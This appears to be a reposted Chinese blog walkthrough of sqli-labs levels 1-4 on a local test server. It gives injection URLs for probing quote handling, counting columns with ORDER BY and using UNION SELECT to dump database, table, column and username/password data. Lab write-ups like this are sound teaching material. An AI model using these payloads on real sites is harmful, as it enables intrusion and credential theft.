SQL注入--sqli-labs(1-4关)

Posted mxm$

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入--sqli-labs(1-4关)相关的知识,希望对你有一定的参考价值。

mysql的基本用法:

  查库:select schema_name from information_schema.schemata  等同于 show databases

  查表:select table_name from information_schema.tables where table_schema=\'\'   等同于 show tables

  查列:select column_name from information_schema.columns where table_name=\'\'  

  查字段:select id,username,password from security.users  查询出security中的users表中的id、username和password

  information_schema,系统数据库,包含所有数据库相关信息。

  information_schema.schemata中schema_name,字段为所有数据库名称。

  information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。

  information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table_name列也对应所有表名。

知识点:

  mysql数据库中,单行注释有#和--。在URL中,如果在最后加上--,浏览器在发送请求时会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。

第一关(Less-1):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1,显示正常

  2.加个单引号,http://127.0.0.1/sqli-labs-master/Less-1/?id=1\',提示语句出错

  3.输入注释符--+,http://127.0.0.1/sqli-labs-master/Less-1/?id=1\'--+,显示正常,可知是单引号字符型注入

  4.使用order by查列数,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' order by 3 --+,显示正常

  输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' order by 4 --+ ,显示没有4列,故有3列

  5.使用union参数进行联合查询注入,union前面的数据报错才能执行union后面的数据,因此将id=1改为id=-1开始进行注入

   如图所示,2,3为显示位,此时可在2或3的位置进行手注

  6.注当前数据库名,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' union select 1,database(),3 --+

   7.注表名,

  8.注某张表的字段,以user表为例

   9.注字段的值,以user表中的username字段为例

第二关(Less-2):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1,显示正常

  2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1\',发现报错,说明存在注入漏洞,错误原因存在单引号

  3.去掉单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+,显示正常

  4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+,显示Unknown column ‘4’,说明一共有三列

  5.使用联合查询语句,查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示,可知回显位置为第二和第三位

  6.手动注入,爆出所有的数据库名

  7.爆出security中的所有表名

  8.爆出users表中的所有列名

   9.爆字段,爆出user表中username,password字段的所有列

第三关(Less-3):

  1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1,显示正常

  2.加单引号,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\',存在注入漏洞,错误提示多余一个单引号

  3.再加上),输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\')--+,显示正常

  4.查看有多少列,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\') order by 3 --+,显示正常,存在三列

  5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1\') order by 4 --+,提示没有四列,则只有三列

  6.使用联合查询语句,查询回显位置,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1\') union select 1,2,3  --+,如图,回显位置为2,3

  7.手动注入,爆出所有数据库名

  8.爆出security库中的所有表名

  9.爆出users表中所有的列信息

  10.爆字段,爆出users表中username,password列的所有信息

第四关(Less-4):

  1.根据提示输入id,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1,显示正常

  2.加单引号,进行报错测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1\',没有显示任何的报错信息

  3.加双引号进行测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1",出现报错,显示多出一个双引号

  4.根据提示信息,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常

  5.查询有多少列,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+,显示正常,说明有三列

  6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+,根据错误提示可知,不存在四列,故有三列

  7.联合查询,查询出回显位置,如图可知,回显位置为2,3

  8.爆出所有数据库名

  9.爆出security库中的所有表信息

  10.爆出users表中的所有列信息

  11.爆出users表中username,password列的所有信息

 

 

 

 

 

 

 

 

 

  

以上是关于SQL注入--sqli-labs(1-4关)的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs(9-10关)

Sqli-labs通关手册1-30关

重闯Sqli-labs关卡第三天(6-10关)

SQL-Labs从搭建到闯关(SQL注入天书)

SQL注入:sqli-labs 1~4

重闯Sqli-labs关卡第三天(11-15关)